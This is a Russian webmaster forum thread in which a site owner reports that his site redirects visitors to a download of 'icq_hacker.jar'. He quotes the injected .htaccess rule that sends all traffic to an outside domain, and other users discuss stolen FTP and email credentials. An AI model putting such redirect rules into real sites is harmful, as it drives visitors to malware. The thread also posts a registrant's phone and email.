Вирус на сайте или что? как быть?

B
На сайте с 05.11.2008
Offline
97
1192

Очень прошу помочь разобраться!!! С таким впервые столкнулся за все время работы в интернете.

Еще час назад мой сайт работал отлично, а сейчас заходя на адрес сайта вылезает скачка файла, благо без подтверждения ко мне файлы не загружаются в комп.

Адрес моего сайта soft4smart.ru

Адрес куда кидает mton.ru/how/free/icq_hacker.jar

Проверил whois домена и получил:

domain: MTON.RU

type: CORPORATE

nserver: ns1.q0.ru.

nserver: ns2.q0.ru.

nserver: ns3.q0.ru.

state: REGISTERED, DELEGATED, UNVERIFIED

person: Alexander N Lukianchuk

phone: +7 095 1181712

fax-no: +7 095 1181712

e-mail: landlab[at]gmail.com

registrar: R01-REG-RIPN

created: 2003.03.24

paid-till: 2010.03.24

source: TCI

На телефон пробиться не могу.

Что делать? Пытаться к его хостерам писать? если конечно не на отдельном сервере он.

Помогите пожалуйста!!!

Breds добавил 23.01.2010 в 21:12

\\\\проверил .htaccess файл и вот результат

Options +FollowSymLinks

RewriteEngine on

RewriteRule (.*) http://mton.ru/how/free/index.php [R=301,L]

\\\\как это могло там появиться???

Mad_Man
На сайте с 10.11.2008
Offline
162
#1

Поддерживаю, интересно узнать каким боком был переписан .htaccess.

B
На сайте с 05.11.2008
Offline
97
#2
Mad_Man:
Поддерживаю, интересно узнать каким боком был переписан .htaccess.

вот вот!!! права на файле 644

на сайт захожу только через Cpanel либо FileZilla.

проверил комп,вирусов нет, на сайте больше ни каких измененных файлов не нашел.

Ща своему хостеру писать собираюсь, чтоб проверили у себя все.

Mad_Man
На сайте с 10.11.2008
Offline
162
#3

Breds, хостер кто?

Ситуация аналогичная.

B
На сайте с 05.11.2008
Offline
97
#4
Mad_Man:
Breds, хостер кто?
Ситуация аналогичная.

я на http://ohoster.ru

SS
На сайте с 02.02.2009
Offline
116
#5

Переписать .htaccess без доступа к ftp через шелл трудновато, не так ли?

Скорее всего пароли к ftp были украдены или взломаны.

Чаще всего вообще причина всего, что получается доступ к контактной почте, через которую происходила регистрация хостинга.

Рекомендую поменять пароли на фтп и на почтовом ящике указанном при регистрации, вначале проверить свой компьютер на вирусы.

Mad_Man
На сайте с 10.11.2008
Offline
162
#6

specialist-seo, был взлом почты регистрационной, но на фтп стоит защита в виде доступа к оному только с определённого диапазона IP.

B
На сайте с 05.11.2008
Offline
97
#7

А как вот в остальном быть?

Просто изменить все везде и забыть?

Без админа того проекта тут явно не обошлось ведь.

SplashS
На сайте с 18.01.2010
Offline
4
#8

Обратитесь к своему хостеру за помощью. Если не поможет - меняйте его.

Компьютер ДелаетИзВсехНасДураков (с)
B
На сайте с 05.11.2008
Offline
97
#9
SplashS:
Обратитесь к своему хостеру за помощью. Если не поможет - меняйте его.

Я написал в поддержку хостинга на котором сидит тот сайт(qwarta.ru) , объяснил все, а меня игнорируют. Даже ответ не предоставили.

Они че покрывают его? Либо это их сайт?

Mad_Man
На сайте с 10.11.2008
Offline
162
#10

Воскресенье.

Авторизуйтесь или зарегистрируйтесь, чтобы оставить комментарий